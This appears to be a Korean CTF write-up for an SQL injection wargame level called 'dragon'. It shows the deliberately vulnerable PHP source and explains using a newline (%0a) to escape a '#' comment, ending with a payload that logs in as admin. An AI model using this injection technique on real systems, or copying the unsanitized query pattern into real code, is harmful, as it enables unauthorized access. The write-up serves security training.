<?php include "./config.php"; login_chk(); dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("dragon"); highlight_file(__FILE__); ?>
주석을 깨야 되는데 주석이 있다고 입력이 안되는건 아니다. 이런 경우에는 개행을 시켜서 다음줄에 실행되게 하면되는데, 개행해서 건너뛴건 여러번 했다. %0a를 넣으면된다.
되는지 안되는지 알아보기 위해 다음과 같이 꾸며보자.
select id from prob_dragon where id='guest'# and pw=' and 1=2 ; '
쿼리가 돌지 않는다. 다시 제대로 준비해서 펀치를 날린다
select id from prob_dragon where id='guest'# and pw=' and 1=2 or id='admin' ; '